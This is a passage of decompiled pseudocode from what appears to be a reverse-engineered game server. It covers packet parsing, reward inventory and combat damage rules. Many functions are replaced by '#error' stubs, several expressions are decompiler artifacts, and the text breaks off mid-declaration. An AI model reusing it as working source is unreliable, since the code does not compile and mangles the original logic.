glsprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameLogSession::zbs_Parsing"); } //----- (004BCFF0) -------------------------------------------------------- void __thiscall WorldManagerSession::zbs_Parsing(WorldManagerSession *this, #440 *a2, unsigned __int16 handle) { WorldManagerSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); wldmanprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::zbs_Parsing"); } //----- (004BD0E0) -------------------------------------------------------- #error "4BD0E0: undefined or illegal type '#440' (funcsize=85)" //----- (004BD200) -------------------------------------------------------- void __thiscall RecallPointTable::RecallPointTable(ShineScript *this) { OptionReader::OptionReader(&this->baseclass_0); } //----- (004BD210) -------------------------------------------------------- void __thiscall RecallPointTable::rpt_Load(RecallPointTable *this, Name4 *world) { unsigned int v2; // eax@1 OptionReader *v3; // edi@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ecx@1 int v7; // eax@2 int i; // ebp@5 void *v9; // eax@6 void *v10; // esi@6 unsigned int v11; // eax@7 ORToken v12; // [sp-18h] [bp-B4h]@6 int v13; // [sp-14h] [bp-B0h]@6 int v14; // [sp-10h] [bp-ACh]@6 char *v15; // [sp-Ch] [bp-A8h]@1 const char *v16; // [sp-8h] [bp-A4h]@1 int v17; // [sp-4h] [bp-A0h]@1 char rst; // [sp+13h] [bp-89h]@2 ORToken *v19; // [sp+14h] [bp-88h]@6 char path[128]; // [sp+18h] [bp-84h]@1 v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (OptionReader *)this; v4 = (char *)&namestring + 256 * v2; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v17 = (int)v4; *((_DWORD *)v4 + 2) = v5; v6 = *(_DWORD *)&world->n4_name[12]; v16 = "../9Data/Shine/World/%s/RecallCoord.txt"; v15 = path; *((_DWORD *)v4 + 3) = v6; v4[16] = 0; sprintf(v15, v16); if ( !OptionReader::or_Read(v3, path) ) { rst = OptionReader::or_Read(v3, "../9Data/Shine/World/RecallCoord.txt"); v7 = OptionReader::or_ErrorLine(v3); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "Error in read RecallCoord option", v7); ShineExit("RecallPointTable::rpt_Load"); } } for ( i = 0; ; ++i ) { v17 = i; v19 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "RecallPoint", 0x14u); v9 = OptionReader::or_SelectFromOrder(v3, v12, v17); v10 = v9; if ( !v9 ) break; v11 = BTree::operator__(&stru_12510618, (const char *)v9); if ( v11 == -1 ) LOWORD(v11) = -1; *((_DWORD *)v10 + 8) = (unsigned __int16)v11; } } //----- (004BD340) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // edi@1 char *v5; // esi@5 ZoneBaseSession *v6; // eax@7 char *v7; // [sp-4h] [bp-1Ch]@4 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S3_42 & 1) ) { _S3_42 |= 1u; cmc_52.cmc_AllowMode = 70; atexit(_E4_80); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_52.cmc_AllowMode ) { ItemBag::ib_clear((ItemBag *)(v4 + 86160)); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4249; *((_WORD *)v5 + 1) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v4); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v5[8] = 2; *(_DWORD *)(v5 + 9) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v5[13] = 1; *((_WORD *)v5 + 7) = 24 * *(_WORD *)(netcmd + 2); *((_WORD *)v5 + 8) = 24 * *(_WORD *)(netcmd + 2) + 23; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ : Packet Too Long", 18); } v7 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ"; } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 46, 4611); v7 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (004BD4D0) -------------------------------------------------------- #error "4BD4D0: undefined or illegal type '#331' (funcsize=60)" //----- (004BD5B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillRewardInven(void *this, int rewardinv) { void *v2; // edi@1 char *v3; // eax@1 int v4; // esi@1 int v5; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ItemBag::ib_clear((ItemBag *)v2 + 21540); ItemBag::ib_InitializeAsNumber( (ItemBag *)v2 + 21540, (char *)(rewardinv + 15), (PROTO_ITEMPACKET_TOTAL *)(rewardinv + 16), 2); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12333; v4 = ItemRewardStorage::irs_FillBufferItem( (ItemRewardStorage *)((char *)v2 + 86160), v3 + 2, (PROTO_ITEMPACKET_INFORM *)(v3 + 3)) + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v4) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven : Packet Too Long", v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"); } //----- (004BD6C0) -------------------------------------------------------- int __thiscall EngNormAtt::ena_LH(EngNormAtt *this, int leveldiff) { return 30; } //----- (004BD6D0) -------------------------------------------------------- #error "4BD6D0: undefined or illegal type '#331' (funcsize=27)" //----- (004BD730) -------------------------------------------------------- void __thiscall EngSklAtt::EngSklAtt(EngSklAtt *this) { this->baseclass_0.vfptr = (EngNormAttVtbl *)EngSklAtt::_vftable_; } // 5B6DD0: using guessed type int (__stdcall *EngSklAtt___vftable_[4])(int, int, int ef); //----- (004BD740) -------------------------------------------------------- void __thiscall EngSklAtt::_EngSklAtt(EngSklAtt *this) { this->baseclass_0.vfptr = (EngNormAttVtbl *)EngNormAtt::_vftable_; } // 5B6DB8: using guessed type int (__stdcall *EngNormAtt___vftable_[4])(int, int, int ef); //----- (004BD750) -------------------------------------------------------- int __thiscall EngNormAtt::ena_attack(EngNormAtt *this, #331 *a2, #331 *a3, EngageFlag *ef, char *iscritical) { EngNormAtt *v5; // esi@1 signed int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 int v9; // edx@1 int result; // eax@2 v5 = this; v6 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))this->vfptr->ena_physichitrate)(a2, a3, ef); v7 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v7; v8 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v7]]; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; if ( v6 >= *(_WORD *)&v8[2 * v9] ) { result = v5->vfptr->ena_physicdamage(v5, a2, a3, ef); rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (rndbox.rb_box[10].rs_point.value + 1); if ( rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] ) { *iscritical = 0; } else { result *= 2; *iscritical = 1; } } else { result = 0; } return result; } //----- (004BD800) -------------------------------------------------------- int __thiscall EngSklAtt::esa_physicaldamage(EngSklAtt *this, #331 *a2, #331 *a3, EngageFlag *ef) { ActiveSkillInfoServer *v4; // eax@1 EngSklAtt *v5; // edi@1 unsigned int v6; // eax@2 char *v7; // eax@2 int v8; // ecx@2 SkillDataBox::SkillDataIndex *v9; // ebx@2 signed int v11; // eax@5 unsigned int v12; // ecx@5 char *v13; // ecx@5 int v14; // edx@5 int v15; // eax@8 char *v16; // eax@10 int v17; // ecx@10 unsigned __int16 v18; // ax@10 v4 = ef->efm_sklinfo->sdi_ServInf; v5 = this; if ( v4->PsySucRate ) { v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; v9 = ef->efm_sklinfo; if ( ef->efm_sklinfo->sdi_ServInf->PsySucRate < *(_WORD *)&v7[2 * v8] ) return 0; } else { if ( !v4->SkilPyHitRate || (v11 = this->baseclass_0.vfptr->ena_physichitrate((EngNormAtt *)this, a2, a3, ef), v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v12, v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]], v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1), *((_DWORD *)v13 + 8192) = v14, v11 < *(_WORD *)&v13[2 * v14]) || (v9 = ef->efm_sklinfo, ef->efm_sklinfo->sdi_ServInf->SkilPyHitRate < RandomBox::rb_1000(&rndbox)) ) return 0; } v15 = v9->sdi_Activ->MaxWC - v9->sdi_Activ->MinWC + 1; if ( v9->sdi_Activ->MaxWC - v9->sdi_Activ->MinWC == -1 || (unsigned int)v15 > 0x64 ) { v18 = 0; } else { v16 = (char *)&rndbox + 32776 * v15; v17 = *((_DWORD *)v16 + 8193) & (*((_DWORD *)v16 + 8192) + 1); *((_DWORD *)v16 + 8192) = v17; v18 = *(_WORD *)&v16[2 * v17]; } return ef->efm_sklinfo->sdi_Activ->MinWC + v18 + v5->baseclass_0.vfptr->ena_physicdamage((EngNormAtt *)v5, a2, a3, ef); } //----- (004BD950) -------------------------------------------------------- int __thiscall EngSklAtt::esa_masicaldamage(EngSklAtt *this, #331 *a2, #331 *a3, EngageFlag *ef) { ActiveSkillInfoServer *v4; // eax@1 EngSklAtt *v5; // esi@1 unsigned int v6; // eax@2 char *v7; // eax@2 int v8; // ecx@2 SkillDataBox::SkillDataIndex *v9; // ebx@2 signed int v11; // eax@5 unsigned int v12; // ecx@5 char *v13; // ecx@5 int v14; // edx@5 int v15; // eax@8 v4 = ef->efm_sklinfo->sdi_ServInf; v5 = this; if ( v4->MagSucRate ) { v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; v9 = ef->efm_sklinfo; if ( ef->efm_sklinfo->sdi_ServInf->MagSucRate < *(_WORD *)&v7[2 * v8] ) return 0; } else { if ( !v4->SkilMaHitRate || (v11 = this->baseclass_0.vfptr->ena_physichitrate((EngNormAtt *)this, a2, a3, ef), v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v12, v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]], v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1), *((_DWORD *)v13 + 8192) = v14, v11 < *(_WORD *)&v13[2 * v14]) || (v9 = ef->efm_sklinfo, ef->efm_sklinfo->sdi_ServInf->SkilMaHitRate < RandomBox::rb_1000(&rndbox)) ) return 0; } v15 = v9->sdi_Activ->MaxMA - v9->sdi_Activ->MinMA + 1; if ( v9->sdi_Activ->MaxMA - v9->sdi_Activ->MinMA != -1 ) { if ( (unsigned int)v15 <= 0x64 ) rndbox.rb_box[v15].rs_point.value = rndbox.rb_box[v15].rs_point.mask & (rndbox.rb_box[v15].rs_point.value + 1); } return v5->baseclass_0.vfptr->ena_masicdamage((EngNormAtt *)v5, a2, a3, ef); } //----- (004BDA80) -------------------------------------------------------- #error "4BDA80: undefined or illegal type '#331' (funcsize=124)" //----- (004BDC50) -------------------------------------------------------- #error "4BDC50: undefined or illegal type '#331' (funcsize=148)" //----- (004BDE70) -------------------------------------------------------- #error "4BDE70: undefined or illegal type '#331' (funcsize=282)" //----- (004BE280) -------------------------------------------------------- #error "4BE280: undefined or illegal type '#331' (funcsize=158)" //----- (004BE4D0) -------------------------------------------------------- #error "4BE4D0: undefined or illegal type '#331' (funcsize=155)" //----- (004BE720) -------------------------------------------------------- #error "4BE720: undefined or illegal type '#331' (funcsize=155)" //----- (004BE970) -------------------------------------------------------- #error "4BE970: undefined or illegal type '#331' (funcsize=420)" //----- (004BEF70) -------------------------------------------------------- #error "4BEF70: undefined or illegal type '#331' (funcsize=420)" //----- (004BF570) -------------------------------------------------------- #error "4BF570: undefined or illegal type '#331' (funcsize=111)" //----- (004BF700) -------------------------------------------------------- #error "4BF700: undefined or illegal type '#331' (funcsize=95)" //----- (004BF860) -------------------------------------------------------- long double __thiscall RulesOfEngagement::roe_DefendPower(RulesOfEngagement *this, EngageArgument *argument) { return 0.0; } //----- (004BF870) -------------------------------------------------------- #error "4BF870: undefined or illegal type '#331' (funcsize=87)" //----- (004BF9A0) -------------------------------------------------------- #error "4BF9A0: undefined or illegal type '#331' (funcsize=117)" //----- (004BFB30) -------------------------------------------------------- void __thiscall RulesOfEngagement::roe_CriticalStun(RulesOfEngagement *this, EngageArgument *argument) { unsigned int v2; // eax@2 char *v3; // eax@2 if ( argument->iscritical ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; *((_DWORD *)v3 + 8192) = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); ((void (__stdcall *)(_DWORD))this->vfptr->roe_CriticalStunRate)(argument); } } //----- (004BFC50) -------------------------------------------------------- long double __thiscall RulesOfEngagement::roe_CriticalStunRate(RulesOfEngagement *this, EngageArgument *argument) { return 200.0; } //----- (004BFC60) -------------------------------------------------------- #error "4BFC60: undefined or illegal type '#331' (funcsize=89)" //----- (004BFD60) -------------------------------------------------------- void __thiscall RulesOfEngagementNormalPY::RulesOfEngagementNormalPY(RulesOfEngagementNormalPY *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementNormalPY::_vftable_; } // 5B7040: using guessed type double (__stdcall *RulesOfEngagementNormalPY___vftable_)(int argument); //----- (004BFD70) -------------------------------------------------------- void __thiscall RulesOfEngagementNormalMA::RulesOfEngagementNormalMA(RulesOfEngagementNormalMA *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementNormalMA::_vftable_; } // 5B7064: using guessed type double (__stdcall *RulesOfEngagementNormalMA___vftable_)(int argument); //----- (004BFD80) -------------------------------------------------------- void __thiscall RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(RulesOfEngagementPhisycalSkill *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementPhisycalSkill::_vftable_; } // 5B7088: using guessed type double (__stdcall *RulesOfEngagementPhisycalSkill___vftable_)(int argument); //----- (004BFD90) -------------------------------------------------------- void __thiscall RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(RulesOfEngagementMagicalSkill *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementMagicalSkill::_vftable_; } // 5B70AC: using guessed type double (__stdcall *RulesOfEngagementMagicalSkill___vftable_)(int argument); //----- (004BFDA0) -------------------------------------------------------- void __thiscall RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(RulesOfEngagementAlwaysHit *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagementAlwaysHit::_vftable_; } // 5B70D0: using guessed type double (__stdcall *RulesOfEngagementAlwaysHit___vftable_[4])(int argument); //----- (004BFDB0) -------------------------------------------------------- void __thiscall RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(RulesOfEngagementAlwaysCritical *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagementAlwaysCritical::_vftable_; } // 5B70F4: using guessed type double (__stdcall *RulesOfEngagementAlwaysCritical___vftable_[2])(int argument); //----- (004BFDC0) -------------------------------------------------------- long double __thiscall RulesOfEngagementAlwaysHit::roe_HitRate(RulesOfEngagementAlwaysCritical *this, EngageArgument *argument) { return 1000.0; } //----- (004BFDD0) -------------------------------------------------------- #error "4BFDD0: undefined or illegal type '#331' (funcsize=55)" //----- (004BFE70) -------------------------------------------------------- void __thiscall RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)RuleOfEngagementHealAttack::_vftable_; } // 5B7118: using guessed type double (__stdcall *RuleOfEngagementHealAttack___vftable_[4])(int argument); //----- (004BFE80) -------------------------------------------------------- void __thiscall RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagement::_vftable_; } // 5B6FB0: using guessed type double (__stdcall *RulesOfEngagement___vftable_[4])(int argument); //----- (004BFE90) -------------------------------------------------------- int __thiscall EngSklAtt::ena_attack(EngSklAtt *this, #331 *a2, #331 *a3, EngageFlag *ef, char *iscritical) { EngSklAtt *v5; // ebx@1 int result; // eax@3 int v7; // esi@5 v5 = this; if ( !ef->efm_sklinfo ) { AssertClass::ac_AssertFail(&shineassert, "EngSklAtt::ena_attack : Null skill info", ef->efm_sklinfo != 0); return 0; } if ( !ef->efm_sklinfo->sdi_ServInf->UsualAttack ) return 0; v7 = EngSklAtt::esa_masicaldamage(this, a2, a3, ef); result = ef->efm_sklinfo->sdi_ServInf->DmgIncValue + ((unsigned int)((EngSklAtt::esa_physicaldamage(v5, a2, a3, ef) + v7) * ef->efm_sklinfo->sdi_ServInf->DmgIncRate * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (rndbox.rb_box[10].rs_point.value + 1); if ( rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] ) { *iscritical = 0; } else { result *= 2; *iscritical = 1; } return result; } //----- (004BFF50) -------------------------------------------------------- #error "4BFF50: undefined or illegal type '#331' (funcsize=153)" //----- (004C01A0) -------------------------------------------------------- #error "4C01A0: undefined or illegal type '#331' (funcsize=153)" //----- (004C03E0) -------------------------------------------------------- #error "4C03E0: undefined or illegal type '#331' (funcsize=153)" //----- (004C0620) -------------------------------------------------------- #error "4C0620: undefined or illegal type '#331' (funcsize=171)" //----- (004C08B0) -------------------------------------------------------- #error "4C08B0: undefined or illegal type '#331' (funcsize=62)" //----- (004C09C0) -------------------------------------------------------- #error "4C09C0: undefined or illegal type '#331' (funcsize=57)" //----- (004C0AC0) -------------------------------------------------------- long double __thiscall RulesOfEngagementNormalPY::roe_DefendPower(RulesOfEngagementNormalPY *this, EngageArgument *argument) { RulesOfEngagement *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementNormalPY::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementNormalPY::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagement::roe_AC(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "RulesOfEngagementNormalPY::roe_DefendPower"); return v3; } //----- (004C0B70) -------------------------------------------------------- #error "4C0B70: undefined or illegal type '#331' (funcsize=171)" //----- (004C0E00) -------------------------------------------------------- #error "4C0E00: undefined or illegal type '#331' (funcsize=62)" //----- (004C0F10) -------------------------------------------------------- #error "4C0F10: undefined or illegal type '#331' (funcsize=57)" //----- (004C1010) -------------------------------------------------------- long double __thiscall RulesOfEngagementNormalMA::roe_DefendPower(RulesOfEngagementNormalMA *this, EngageArgument *argument) { RulesOfEngagement *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementNormalMA::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementNormalMA::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagement::roe_MR(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "RulesOfEngagementNormalMA::roe_DefendPower"); return v3; } //----- (004C10C0) -------------------------------------------------------- #error "4C10C0: undefined or illegal type '#331' (funcsize=248)" //----- (004C1450) -------------------------------------------------------- long double __thiscall RulesOfEngagementPhisycalSkill::roe_CriticalRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument) { RulesOfEngagementNormalPY *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagementNormalPY *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_CriticalRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementPhisycalSkill::roe_CriticalRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagementNormalPY::roe_CriticalRate(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_CriticalRate"); return v3; } //----- (004C1500) -------------------------------------------------------- #error "4C1500: undefined or illegal type '#331' (funcsize=104)" //----- (004C16A0) -------------------------------------------------------- long double __thiscall RulesOfEngagementPhisycalSkill::roe_DefendPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument) { RulesOfEngagementNormalPY *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagementNormalPY *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementPhisycalSkill::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagementNormalPY::roe_DefendPower(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_DefendPower"); return v3; } //----- (004C1750) -------------------------------------------------------- #error "4C1750: undefined or illegal type '#331' (funcsize=265)" //----- (004C1B30) -------------------------------------------------------- #error "4C1B30: undefined or illegal type '#331' (funcsize=62)" //----- (004C1C40) -------------------------------------------------------- long double __thiscall RulesOfEngagementMagicalSkill::roe_AttackPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument) { RulesOfEngagement *v2; // edi@1 long double v3; // st7@1 ActiveSkillInfo *v4; // ebx@1 long double v5; // st7@1 __int16 v6; // ax@1 long double v7; // st7@1 double v8; // st6@2 double v9; // ST14_8@4 double MinMA; // [sp+10h] [bp-14h]@1 int argumenta; // [sp+28h] [bp+4h]@4 v2 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementMagicalSkill::roe_AttackPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementMagicalSkill::roe_AttackPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagement::roe_MinMA(v2, argument); v4 = argument->sklinfo->sdi_Activ; MinMA = v3 + (double)argument->sklinfo->sdi_Activ->MinMA; v5 = RulesOfEngagement::roe_MaxMA(v2, argument); v6 = argument->empower._bf0; v7 = v5 + (double)v4->MaxMA; if ( v6 & 0xF ) v8 = (double)v4->nIMPT[(v6 & 0xF) + 3]; else v8 = 0.0; v9 = MinMA + v8; argumenta = RandomBox::rb_largerandom(&rndbox, (unsigned __int64)(v7 + v8 - v9)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementMagicalSkill::roe_AttackPower"); return (double)argumenta + v9; } //----- (004C1D90) -------------------------------------------------------- long double __thiscall RulesOfEngagementMagicalSkill::roe_DefendPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument) { RulesOfEngagement *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementMagicalSkill::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementMagicalSkill::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagement::roe_MR(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementMagicalSkill::roe_DefendPower"); return v3; } //----- (004C1E40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_NotifyParameterChange(void *this, char send) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Container::c_MakeTotal((Parameter::Container *)((char *)v2 + 4008)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"); } //----- (004C1EE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange(void *this, char send) { void *v2; // ebx@1 int v3; // edx@1 int v4; // ecx@1 int v5; // eax@1 int v6; // ecx@1 int v7; // eax@1 int v8; // eax@1 int v9; // eax@4 MobDataBox::MobDataBoxIndex *v10; // eax@4 int v11; // esi@11 int v12; // esi@11 int v13; // eax@11 int v14; // edx@11 int v15; // esi@11 unsigned __int64 v16; // qax@11 int v17; // esi@11 int v18; // esi@11 int v19; // esi@11 int v20; // esi@11 int v21; // esi@11 PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *v22; // edi@13 unsigned int v23; // ST20_4@13 unsigned int v24; // ST24_4@13 int v25; // edx@13 int v26; // eax@13 int v27; // eax@13 int v28; // eax@13 int v29; // eax@13 int v30; // eax@13 int v31; // eax@13 